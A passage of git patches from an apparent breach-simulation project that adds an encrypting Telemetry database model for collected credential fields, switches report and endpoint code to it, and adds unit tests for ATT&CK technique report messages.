) + + +@pytest.mark.usefixtures("uses_database", "uses_encryptor") +def test_no_encryption_needed(monkeypatch, data_for_tests_dir): + # Make sure telemetry save doesn't break when telemetry doesn't need encryption + Telemetry.save_telemetry(MOCK_NO_ENCRYPTION_NEEDED_TELEMETRY) From 1ab0fe7b138947400a29408ffed2bbb96ef39199 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 22 Sep 2021 16:12:50 +0300 Subject: [PATCH 220/454] Add Telemetry model --- .../cc/models/telemetries/telemetry.py | 50 +++++++++++++++++++ .../mimikatz_results_encryptor.py | 21 ++++++++ .../cc/models/telemetries/__init__.py | 0 3 files changed, 71 insertions(+) create mode 100644 monkey/monkey_island/cc/models/telemetries/telemetry.py create mode 100644 monkey/monkey_island/cc/models/utils/field_encryptors/mimikatz_results_encryptor.py create mode 100644 monkey/tests/unit_tests/monkey_island/cc/models/telemetries/__init__.py diff --git a/monkey/monkey_island/cc/models/telemetries/telemetry.py b/monkey/monkey_island/cc/models/telemetries/telemetry.py new file mode 100644 index 000000000..bbefeb92f --- /dev/null +++ b/monkey/monkey_island/cc/models/telemetries/telemetry.py @@ -0,0 +1,50 @@ +from __future__ import annotations + +from mongoengine import DateTimeField, DictField, Document, EmbeddedDocumentField, StringField + +from monkey_island.cc.models import CommandControlChannel +from monkey_island.cc.models.utils import document_encryptor +from monkey_island.cc.models.utils.document_encryptor import FieldNotFoundError, SensitiveField +from monkey_island.cc.models.utils.field_encryptors.mimikatz_results_encryptor import ( + MimikatzResultsEncryptor, +) + +sensitive_fields = [ + SensitiveField("data.credentials", MimikatzResultsEncryptor), + SensitiveField("data.mimikatz", MimikatzResultsEncryptor), +] + + +class Telemetry(Document): + + data = DictField(required=True) + timestamp = DateTimeField(required=True) + monkey_guid = StringField(required=True) + telem_category = StringField(required=True) + command_control_channel = EmbeddedDocumentField(CommandControlChannel) + + meta = {"strict": False} + + @staticmethod + def save_telemetry(telemetry_dict: dict): + try: + telemetry_dict = document_encryptor.encrypt(sensitive_fields, telemetry_dict) + except FieldNotFoundError: + pass # Not all telemetries require encryption + + cc_channel = CommandControlChannel( + src=telemetry_dict["command_control_channel"]["src"], + dst=telemetry_dict["command_control_channel"]["dst"], + ) + Telemetry( + data=telemetry_dict["data"], + timestamp=telemetry_dict["timestamp"], + monkey_guid=telemetry_dict["monkey_guid"], + telem_category=telemetry_dict["telem_category"], + command_control_channel=cc_channel, + ).save() + + @staticmethod + def get_telemetry() -> dict: + telemetry_dict = Telemetry.objects.first().to_mongo() + return document_encryptor.decrypt(sensitive_fields, telemetry_dict) diff --git a/monkey/monkey_island/cc/models/utils/field_encryptors/mimikatz_results_encryptor.py b/monkey/monkey_island/cc/models/utils/field_encryptors/mimikatz_results_encryptor.py new file mode 100644 index 000000000..c924a64e9 --- /dev/null +++ b/monkey/monkey_island/cc/models/utils/field_encryptors/mimikatz_results_encryptor.py @@ -0,0 +1,21 @@ +from monkey_island.cc.models.utils.field_encryptors.i_field_encryptor import IFieldEncryptor +from monkey_island.cc.server_utils.encryptor import get_encryptor + + +class MimikatzResultsEncryptor(IFieldEncryptor): + + secret_types = ["password", "ntlm_hash", "lm_hash"] + + @staticmethod + def encrypt(results: dict) -> dict: + for _, credentials in results.items(): + for secret_type in MimikatzResultsEncryptor.secret_types: + credentials[secret_type] = get_encryptor().enc(credentials[secret_type]) + return results + + @staticmethod + def decrypt(results: dict) -> dict: + for _, credentials in results.items(): + for secret_type in MimikatzResultsEncryptor.secret_types: + credentials[secret_type] = get_encryptor().dec(credentials[secret_type]) + return results diff --git a/monkey/tests/unit_tests/monkey_island/cc/models/telemetries/__init__.py b/monkey/tests/unit_tests/monkey_island/cc/models/telemetries/__init__.py new file mode 100644 index 000000000..e69de29bb From 3781095f25b4e1e9130068c7bd1a72510c3f0105 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 24 Sep 2021 12:17:39 +0300 Subject: [PATCH 221/454] Change the mock database name to "db", because all of the codebase is using this database. This change enables us to write unit tests without the need to patch the the database name in all of the mongo queries that look like "mongo.db.collection" --- .../tests/unit_tests/monkey_island/cc/mongomock_fixtures.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/mongomock_fixtures.py b/monkey/tests/unit_tests/monkey_island/cc/mongomock_fixtures.py index aa00aa69a..4fac539c1 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/mongomock_fixtures.py +++ b/monkey/tests/unit_tests/monkey_island/cc/mongomock_fixtures.py @@ -1,7 +1,10 @@ import mongoengine import pytest -MOCK_DB_NAME = "mongoenginetest" +# Database name has to match the db used in the codebase, +# else the name needs to be mocked during tests. +# Currently its used like so: "mongo.db.telemetry.find()". +MOCK_DB_NAME = "db" @pytest.fixture(scope="module", autouse=True) From e6ad125be97d93aa8c09a0cd84596240c55ffb6b Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 24 Sep 2021 12:42:31 +0300 Subject: [PATCH 222/454] Change the telemetry model to have a method for fetching the telemetries based on queries. Telemetry code mainly uses queries and mongoengine has no good way of field encryption, that's why this method prefers to handle queries rather than Telemetry models --- .../cc/models/telemetries/__init__.py | 1 + .../cc/models/telemetries/telemetry.py | 19 ++++++++++++++----- .../telemetries/test_telemetry_model.py | 13 ++++++++++--- vulture_allowlist.py | 3 +++ 4 files changed, 28 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/models/telemetries/__init__.py b/monkey/monkey_island/cc/models/telemetries/__init__.py index e69de29bb..b3421bbd4 100644 --- a/monkey/monkey_island/cc/models/telemetries/__init__.py +++ b/monkey/monkey_island/cc/models/telemetries/__init__.py @@ -0,0 +1 @@ +from .telemetry import Telemetry # noqa: F401 diff --git a/monkey/monkey_island/cc/models/telemetries/telemetry.py b/monkey/monkey_island/cc/models/telemetries/telemetry.py index bbefeb92f..371484b85 100644 --- a/monkey/monkey_island/cc/models/telemetries/telemetry.py +++ b/monkey/monkey_island/cc/models/telemetries/telemetry.py @@ -1,7 +1,10 @@ from __future__ import annotations -from mongoengine import DateTimeField, DictField, Document, EmbeddedDocumentField, StringField +from typing import List +from mongoengine import DateTimeField, Document, DynamicField, EmbeddedDocumentField, StringField + +from monkey_island.cc.database import mongo from monkey_island.cc.models import CommandControlChannel from monkey_island.cc.models.utils import document_encryptor from monkey_island.cc.models.utils.document_encryptor import FieldNotFoundError, SensitiveField @@ -17,7 +20,7 @@ sensitive_fields = [ class Telemetry(Document): - data = DictField(required=True) + data = DynamicField(required=True) timestamp = DateTimeField(required=True) monkey_guid = StringField(required=True) telem_category = StringField(required=True) @@ -45,6 +48,12 @@ class Telemetry(Document): ).save() @staticmethod - def get_telemetry() -> dict: - telemetry_dict = Telemetry.objects.first().to_mongo() - return document_encryptor.decrypt(sensitive_fields, telemetry_dict) + def get_telemetry_by_query(query: dict, output_fields=None) -> List[dict]: + telemetries = mongo.db.telemetry.find(query, output_fields) + decrypted_list = [] + for telemetry in telemetries: + try: + decrypted_list.append(document_encryptor.decrypt(sensitive_fields, telemetry)) + except FieldNotFoundError: + decrypted_list.append(telemetry) + return decrypted_list diff --git a/monkey/tests/unit_tests/monkey_island/cc/models/telemetries/test_telemetry_model.py b/monkey/tests/unit_tests/monkey_island/cc/models/telemetries/test_telemetry_model.py index 578aff235..860ae05fb 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/models/telemetries/test_telemetry_model.py +++ b/monkey/tests/unit_tests/monkey_island/cc/models/telemetries/test_telemetry_model.py @@ -1,9 +1,10 @@ from copy import deepcopy from datetime import datetime +import mongoengine import pytest -from monkey_island.cc.models.telemetries.telemetry import Telemetry +from monkey_island.cc.models.telemetries import Telemetry from monkey_island.cc.models.utils.document_encryptor import SensitiveField from monkey_island.cc.models.utils.field_encryptors.mimikatz_results_encryptor import ( MimikatzResultsEncryptor, @@ -61,6 +62,12 @@ def patch_sensitive_fields(monkeypatch): ) +@pytest.fixture(autouse=True) +def fake_mongo(monkeypatch): + mongo = mongoengine.connection.get_connection() + monkeypatch.setattr("monkey_island.cc.models.telemetries.telemetry.mongo", mongo) + + @pytest.mark.usefixtures("uses_database", "uses_encryptor") def test_telemetry_encryption(monkeypatch): @@ -74,11 +81,11 @@ def test_telemetry_encryption(monkeypatch): == MOCK_CREDENTIALS["Vakaris"]["ntlm_hash"] ) assert ( - Telemetry.get_telemetry()["data"]["credentials"]["user"]["password"] + Telemetry.get_telemetry_by_query({})[0]["data"]["credentials"]["user"]["password"] == MOCK_CREDENTIALS["user"]["password"] ) assert ( - Telemetry.get_telemetry()["data"]["mimikatz"]["Vakaris"]["ntlm_hash"] + Telemetry.get_telemetry_by_query({})[0]["data"]["mimikatz"]["Vakaris"]["ntlm_hash"] == MOCK_CREDENTIALS["Vakaris"]["ntlm_hash"] ) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 905cc74ad..d58d4ea9b 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -4,6 +4,7 @@ dead or is kept deliberately. Referencing these in a file like this makes sure t Vulture doesn't mark these as dead again. """ from monkey_island.cc.models import Report +from monkey_island.cc.models.telemetries import Telemetry fake_monkey_dir_path # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:37) set_os_linux # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:37) @@ -182,6 +183,8 @@ Report.glance Report.meta_info Report.meta Report.save_report +Telemetry.save_telemetry +Telemetry.get_telemetry_by_query # these are not needed for it to work, but may be useful extra information to understand what's going on WINDOWS_PBA_TYPE # unused variable (monkey/monkey_island/cc/resources/pba_file_upload.py:23) From ace60052da10595e820c7f1568c1e48519477797 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 24 Sep 2021 13:12:43 +0300 Subject: [PATCH 223/454] Alter usages of telemetry collection in report to store/fetch system info telemetry using the Telemetry model This is required to automatically encrypt/decrypt the telemetries and it's a good practice to have a DAL for telemetries --- .../blackbox/telemetry_blackbox_endpoint.py | 4 +-- .../monkey_island/cc/resources/telemetry.py | 8 +++--- .../cc/services/reporting/report.py | 3 ++- .../cc/services/reporting/test_report.py | 27 ++++++++++++++----- 4 files changed, 29 insertions(+), 13 deletions(-) diff --git a/monkey/monkey_island/cc/resources/blackbox/telemetry_blackbox_endpoint.py b/monkey/monkey_island/cc/resources/blackbox/telemetry_blackbox_endpoint.py index 5573e5152..f784bc323 100644 --- a/monkey/monkey_island/cc/resources/blackbox/telemetry_blackbox_endpoint.py +++ b/monkey/monkey_island/cc/resources/blackbox/telemetry_blackbox_endpoint.py @@ -2,7 +2,7 @@ import flask_restful from bson import json_util from flask import request -from monkey_island.cc.database import mongo +from monkey_island.cc.models.telemetries import Telemetry from monkey_island.cc.resources.auth.auth import jwt_required @@ -10,4 +10,4 @@ class TelemetryBlackboxEndpoint(flask_restful.Resource): @jwt_required def get(self, **kw): find_query = json_util.loads(request.args.get("find_query")) - return {"results": list(mongo.db.telemetry.find(find_query))} + return {"results": list(Telemetry.get_telemetry_by_query(find_query))} diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index 525197f0f..3ab2c1242 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -9,6 +9,7 @@ from flask import request from common.common_consts.telem_categories import TelemCategoryEnum from monkey_island.cc.database import mongo from monkey_island.cc.models.monkey import Monkey +from monkey_island.cc.models.telemetries.telemetry import Telemetry as TelemetryModel from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.resources.blackbox.utils.telem_store import TestTelemStore from monkey_island.cc.services.node import NodeService @@ -37,7 +38,7 @@ class Telemetry(flask_restful.Resource): find_filter["timestamp"] = {"$gt": dateutil.parser.parse(timestamp)} result["objects"] = self.telemetry_to_displayed_telemetry( - mongo.db.telemetry.find(find_filter) + TelemetryModel.get_telemetry_by_query(query=find_filter) ) return result @@ -60,8 +61,9 @@ class Telemetry(flask_restful.Resource): process_telemetry(telemetry_json) - telem_id = mongo.db.telemetry.insert(telemetry_json) - return mongo.db.telemetry.find_one_or_404({"_id": telem_id}) + TelemetryModel.save_telemetry(telemetry_json) + + return {}, 201 @staticmethod def telemetry_to_displayed_telemetry(telemetry): diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index 7d14d4f4a..32675f1d5 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -15,6 +15,7 @@ from common.network.network_range import NetworkRange from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey, Report +from monkey_island.cc.models.telemetries import Telemetry from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.configuration.utils import ( get_config_network_segments_as_subnet_groups, @@ -165,7 +166,7 @@ class ReportService: @staticmethod def _get_credentials_from_system_info_telems(): formatted_creds = [] - for telem in mongo.db.telemetry.find( + for telem in Telemetry.get_telemetry_by_query( {"telem_category": "system_info", "data.credentials": {"$exists": True}}, {"data.credentials": 1, "monkey_guid": 1}, ): diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py index 0093e4235..9f845b263 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py @@ -1,10 +1,11 @@ import datetime from copy import deepcopy -import mongomock +import mongoengine import pytest from bson import ObjectId +from monkey_island.cc.models.telemetries import Telemetry from monkey_island.cc.services.reporting.report import ReportService TELEM_ID = { @@ -49,6 +50,11 @@ SYSTEM_INFO_TELEMETRY_TELEM = { "_id": TELEM_ID["system_info_creds"], "monkey_guid": MONKEY_GUID, "telem_category": "system_info", + "timestamp": datetime.datetime(2021, 2, 19, 9, 0, 14, 984000), + "command_control_channel": { + "src": "192.168.56.1", + "dst": "192.168.56.2", + }, "data": { "credentials": { USER: { @@ -64,6 +70,11 @@ NO_CREDS_TELEMETRY_TELEM = { "_id": TELEM_ID["no_creds"], "monkey_guid": MONKEY_GUID, "telem_category": "exploit", + "timestamp": datetime.datetime(2021, 2, 19, 9, 0, 14, 984000), + "command_control_channel": { + "src": "192.168.56.1", + "dst": "192.168.56.2", + }, "data": { "machine": { "ip_addr": VICTIM_IP, @@ -125,13 +136,14 @@ NODE_DICT_FAILED_EXPLOITS["exploits"][1]["result"] = False @pytest.fixture def fake_mongo(monkeypatch): - mongo = mongomock.MongoClient() + mongo = mongoengine.connection.get_connection() monkeypatch.setattr("monkey_island.cc.services.reporting.report.mongo", mongo) + monkeypatch.setattr("monkey_island.cc.models.telemetries.telemetry.mongo", mongo) monkeypatch.setattr("monkey_island.cc.services.node.mongo", mongo) return mongo -def test_get_stolen_creds_exploit(fake_mongo): +def test_get_stolen_creds_exploit(fake_mongo, uses_database): fake_mongo.db.telemetry.insert_one(EXPLOIT_TELEMETRY_TELEM) stolen_creds_exploit = ReportService.get_stolen_creds() @@ -143,9 +155,9 @@ def test_get_stolen_creds_exploit(fake_mongo): assert expected_stolen_creds_exploit == stolen_creds_exploit -def test_get_stolen_creds_system_info(fake_mongo): +def test_get_stolen_creds_system_info(fake_mongo, uses_database): fake_mongo.db.monkey.insert_one(MONKEY_TELEM) - fake_mongo.db.telemetry.insert_one(SYSTEM_INFO_TELEMETRY_TELEM) + Telemetry.save_telemetry(SYSTEM_INFO_TELEMETRY_TELEM) stolen_creds_system_info = ReportService.get_stolen_creds() expected_stolen_creds_system_info = [ @@ -157,8 +169,9 @@ def test_get_stolen_creds_system_info(fake_mongo): assert expected_stolen_creds_system_info == stolen_creds_system_info -def test_get_stolen_creds_no_creds(fake_mongo): - fake_mongo.db.telemetry.insert_one(NO_CREDS_TELEMETRY_TELEM) +def test_get_stolen_creds_no_creds(fake_mongo, uses_database): + fake_mongo.db.monkey.insert_one(MONKEY_TELEM) + Telemetry.save_telemetry(NO_CREDS_TELEMETRY_TELEM) stolen_creds_no_creds = ReportService.get_stolen_creds() expected_stolen_creds_no_creds = [] From 90f3cff3cdd5f5f3545c199c4af5a323e788b2ca Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 24 Sep 2021 16:33:57 +0530 Subject: [PATCH 224/454] tests: Add unit tests for `get_message_by_status()` in monkey_island\cc\services\attack\technique_reports\__init__.py --- .../test_technique_reports.py | 174 ++++++++++++++++++ 1 file changed, 174 insertions(+) create mode 100644 monkey/tests/unit_tests/monkey_island/cc/services/attack/technique_reports/test_technique_reports.py diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/attack/technique_reports/test_technique_reports.py b/monkey/tests/unit_tests/monkey_island/cc/services/attack/technique_reports/test_technique_reports.py new file mode 100644 index 000000000..6436d6df3 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/attack/technique_reports/test_technique_reports.py @@ -0,0 +1,174 @@ +from common.utils.attack_utils import ScanStatus +from monkey_island.cc.services.attack.technique_reports.__init__ import ( + AttackTechnique, + disabled_msg, +) + +FAKE_CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE = { + "T0000": { + "Definition Type 1": ["Config Option 1", "Config Option 2"], + "Definition Type 2": ["Config Option 5", "Config Option 6"], + }, + "T0001": { + "Definition Type 1": ["Config Option 1"], + "Definition Type 2": ["Config Option 5"], + }, +} + + +class FakeAttackTechnique(AttackTechnique): + tech_id = "T0001" + relevant_systems = ["System 1", "System 2"] + unscanned_msg = "UNSCANNED" + scanned_msg = "SCANNED" + used_msg = "USED" + + def get_report_data(): + pass + + +EXPECTED_UNSCANNED_MSG = ( + "UNSCANNED due to one of the following reasons:\n" + "- The following configuration options were disabled:
    " + "- Definition Type 1 — Config Option 1
    " + "- Definition Type 2 — Config Option 5
    " +) + + +EXPECTED_SCANNED_MSG = "SCANNED" + + +EXPECTED_USED_MSG = "USED" + + +def test_get_message_by_status_disabled(monkeypatch): + monkeypatch.setattr( + ( + "monkey_island.cc.services.attack.technique_reports." + "__init__.CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE" + ), + FAKE_CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE, + ) + technique_msg = FakeAttackTechnique.get_message_by_status(ScanStatus.DISABLED.value) + assert technique_msg == disabled_msg + + +def test_get_message_by_status_unscanned(monkeypatch): + monkeypatch.setattr( + ( + "monkey_island.cc.services.attack.technique_reports." + "__init__.CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE" + ), + FAKE_CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE, + ) + technique_msg = FakeAttackTechnique.get_message_by_status(ScanStatus.UNSCANNED.value) + assert technique_msg == EXPECTED_UNSCANNED_MSG + + +def test_get_message_by_status_scanned(monkeypatch): + monkeypatch.setattr( + ( + "monkey_island.cc.services.attack.technique_reports." + "__init__.CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE" + ), + FAKE_CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE, + ) + technique_msg = FakeAttackTechnique.get_message_by_status(ScanStatus.SCANNED.value) + assert technique_msg == EXPECTED_SCANNED_MSG + + +def test_get_message_by_status_used(monkeypatch): + monkeypatch.setattr( + ( + "monkey_island.cc.services.attack.technique_reports." + "__init__.CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE" + ), + FAKE_CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE, + ) + technique_msg = FakeAttackTechnique.get_message_by_status(ScanStatus.USED.value) + assert technique_msg == EXPECTED_USED_MSG + + +### + + +class FakeAttackTechnique_OneRelevantSystem(AttackTechnique): + tech_id = "T0001" + relevant_systems = ["System 1"] + unscanned_msg = "UNSCANNED" + scanned_msg = "SCANNED" + used_msg = "USED" + + def get_report_data(): + pass + + +EXPECTED_UNSCANNED_MSG_ONE_RELEVANT_SYSTEM = ( + "UNSCANNED due to one of the following reasons:\n" + "- The Monkey did not run on any System 1 systems.\n" + "- The following configuration options were disabled:
    " + "- Definition Type 1 — Config Option 1
    " + "- Definition Type 2 — Config Option 5
    " +) + + +EXPECTED_SCANNED_MSG_ONE_RELEVANT_SYSTEM = "SCANNED" + + +EXPECTED_USED_MSG_ONE_RELEVANT_SYSTEM = "USED" + + +def test_get_message_by_status_disabled_one_relevant_system(monkeypatch): + monkeypatch.setattr( + ( + "monkey_island.cc.services.attack.technique_reports." + "__init__.CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE" + ), + FAKE_CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE, + ) + technique_msg = FakeAttackTechnique_OneRelevantSystem.get_message_by_status( + ScanStatus.DISABLED.value + ) + assert technique_msg == disabled_msg + + +def test_get_message_by_status_unscanned_one_relevant_system(monkeypatch): + monkeypatch.setattr( + ( + "monkey_island.cc.services.attack.technique_reports." + "__init__.CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE" + ), + FAKE_CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE, + ) + technique_msg = FakeAttackTechnique_OneRelevantSystem.get_message_by_status( + ScanStatus.UNSCANNED.value + ) + assert technique_msg == EXPECTED_UNSCANNED_MSG_ONE_RELEVANT_SYSTEM + + +def test_get_message_by_status_scanned_one_relevant_system(monkeypatch): + monkeypatch.setattr( + ( + "monkey_island.cc.services.attack.technique_reports." + "__init__.CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE" + ), + FAKE_CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE, + ) + technique_msg = FakeAttackTechnique_OneRelevantSystem.get_message_by_status( + ScanStatus.SCANNED.value + ) + assert technique_msg == EXPECTED_SCANNED_MSG_ONE_RELEVANT_SYSTEM + + +def test_get_message_by_status_used_one_relevant_system(monkeypatch): + monkeypatch.setattr( + ( + "monkey_island.cc.services.attack.technique_reports." + "__init__.CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE" + ), + FAKE_CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE, + ) + technique_msg = FakeAttackTechnique_OneRelevantSystem.get_message_by_status( + ScanStatus.USED.value + ) + assert technique_msg == EXPECTED_USED_MSG_ONE_RELEVANT_SYSTEM From aff2bad7770fcccdaf2be49f56aa4c1504ba3089 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 24 Sep 2021 16:42:04 +0530 Subject: [PATCH 225/454] tests: Move some code around in test_technique_reports.py so it's easier to read --- .../test_technique_reports.py | 118 ++++++++++-------- 1 file changed, 63 insertions(+), 55 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/attack/technique_reports/test_technique_reports.py b/monkey/tests/unit_tests/monkey_island/cc/services/attack/technique_reports/test_technique_reports.py index 6436d6df3..67ef6af0d 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/attack/technique_reports/test_technique_reports.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/attack/technique_reports/test_technique_reports.py @@ -16,7 +16,7 @@ FAKE_CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE = { } -class FakeAttackTechnique(AttackTechnique): +class FakeAttackTechnique_TwoRelevantSystems(AttackTechnique): tech_id = "T0001" relevant_systems = ["System 1", "System 2"] unscanned_msg = "UNSCANNED" @@ -27,7 +27,7 @@ class FakeAttackTechnique(AttackTechnique): pass -EXPECTED_UNSCANNED_MSG = ( +EXPECTED_UNSCANNED_MSG_TWO_RELEVANT_SYSTEMS = ( "UNSCANNED due to one of the following reasons:\n" "- The following configuration options were disabled:
    " "- Definition Type 1 — Config Option 1
    " @@ -35,61 +35,10 @@ EXPECTED_UNSCANNED_MSG = ( ) -EXPECTED_SCANNED_MSG = "SCANNED" +EXPECTED_SCANNED_MSG_TWO_RELEVANT_SYSTEMS = "SCANNED" -EXPECTED_USED_MSG = "USED" - - -def test_get_message_by_status_disabled(monkeypatch): - monkeypatch.setattr( - ( - "monkey_island.cc.services.attack.technique_reports." - "__init__.CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE" - ), - FAKE_CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE, - ) - technique_msg = FakeAttackTechnique.get_message_by_status(ScanStatus.DISABLED.value) - assert technique_msg == disabled_msg - - -def test_get_message_by_status_unscanned(monkeypatch): - monkeypatch.setattr( - ( - "monkey_island.cc.services.attack.technique_reports." - "__init__.CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE" - ), - FAKE_CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE, - ) - technique_msg = FakeAttackTechnique.get_message_by_status(ScanStatus.UNSCANNED.value) - assert technique_msg == EXPECTED_UNSCANNED_MSG - - -def test_get_message_by_status_scanned(monkeypatch): - monkeypatch.setattr( - ( - "monkey_island.cc.services.attack.technique_reports." - "__init__.CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE" - ), - FAKE_CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE, - ) - technique_msg = FakeAttackTechnique.get_message_by_status(ScanStatus.SCANNED.value) - assert technique_msg == EXPECTED_SCANNED_MSG - - -def test_get_message_by_status_used(monkeypatch): - monkeypatch.setattr( - ( - "monkey_island.cc.services.attack.technique_reports." - "__init__.CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE" - ), - FAKE_CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE, - ) - technique_msg = FakeAttackTechnique.get_message_by_status(ScanStatus.USED.value) - assert technique_msg == EXPECTED_USED_MSG - - -### +EXPECTED_USED_MSG_TWO_RELEVANT_SYSTEMS = "USED" class FakeAttackTechnique_OneRelevantSystem(AttackTechnique): @@ -118,6 +67,65 @@ EXPECTED_SCANNED_MSG_ONE_RELEVANT_SYSTEM = "SCANNED" EXPECTED_USED_MSG_ONE_RELEVANT_SYSTEM = "USED" +def test_get_message_by_status_disabled_two_relevant_systems(monkeypatch): + monkeypatch.setattr( + ( + "monkey_island.cc.services.attack.technique_reports." + "__init__.CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE" + ), + FAKE_CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE, + ) + technique_msg = FakeAttackTechnique_TwoRelevantSystems.get_message_by_status( + ScanStatus.DISABLED.value + ) + assert technique_msg == disabled_msg + + +def test_get_message_by_status_unscanned_two_relevant_systems(monkeypatch): + monkeypatch.setattr( + ( + "monkey_island.cc.services.attack.technique_reports." + "__init__.CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE" + ), + FAKE_CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE, + ) + technique_msg = FakeAttackTechnique_TwoRelevantSystems.get_message_by_status( + ScanStatus.UNSCANNED.value + ) + assert technique_msg == EXPECTED_UNSCANNED_MSG_TWO_RELEVANT_SYSTEMS + + +def test_get_message_by_status_scanned_two_relevant_systems(monkeypatch): + monkeypatch.setattr( + ( + "monkey_island.cc.services.attack.technique_reports." + "__init__.CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE" + ), + FAKE_CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE, + ) + technique_msg = FakeAttackTechnique_TwoRelevantSystems.get_message_by_status( + ScanStatus.SCANNED.value + ) + assert technique_msg == EXPECTED_SCANNED_MSG_TWO_RELEVANT_SYSTEMS + + +def test_get_message_by_status_used_two_relevant_systems(monkeypatch): + monkeypatch.setattr( + ( + "monkey_island.cc.services.attack.technique_reports." + "__init__.CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE" + ), + FAKE_CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE, + ) + technique_msg = FakeAttackTechnique_TwoRelevantSystems.get_message_by_status( + ScanStatus.USED.value + ) + assert technique_msg == EXPECTED_USED_MSG_TWO_RELEVANT_SYSTEMS + + +### + + def test_get_message_by_status_disabled_one_relevant_system(monkeypatch): monkeypatch.setattr( ( From 6f903bd8f1b692083024c1293f82cd8c53ff15e5 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 24 Sep 2021 17:12:03 +0530 Subject: [PATCH 226/454] tests: Use enums for expected msgs for better readibility in test_technique_reports.py --- .../test_technique_reports.py | 58 +++++++++---------- 1 file changed, 27 insertions(+), 31 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/attack/technique_reports/test_technique_reports.py b/monkey/tests/unit_tests/monkey_island/cc/services/attack/technique_reports/test_technique_reports.py index 67ef6af0d..3563c965a 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/attack/technique_reports/test_technique_reports.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/attack/technique_reports/test_technique_reports.py @@ -1,3 +1,5 @@ +from enum import Enum + from common.utils.attack_utils import ScanStatus from monkey_island.cc.services.attack.technique_reports.__init__ import ( AttackTechnique, @@ -27,18 +29,15 @@ class FakeAttackTechnique_TwoRelevantSystems(AttackTechnique): pass -EXPECTED_UNSCANNED_MSG_TWO_RELEVANT_SYSTEMS = ( - "UNSCANNED due to one of the following reasons:\n" - "- The following configuration options were disabled:
    " - "- Definition Type 1 — Config Option 1
    " - "- Definition Type 2 — Config Option 5
    " -) - - -EXPECTED_SCANNED_MSG_TWO_RELEVANT_SYSTEMS = "SCANNED" - - -EXPECTED_USED_MSG_TWO_RELEVANT_SYSTEMS = "USED" +class ExpectedMsgs_TwoRelevantSystems(Enum): + UNSCANNED: str = ( + "UNSCANNED due to one of the following reasons:\n" + "- The following configuration options were disabled:
    " + "- Definition Type 1 — Config Option 1
    " + "- Definition Type 2 — Config Option 5
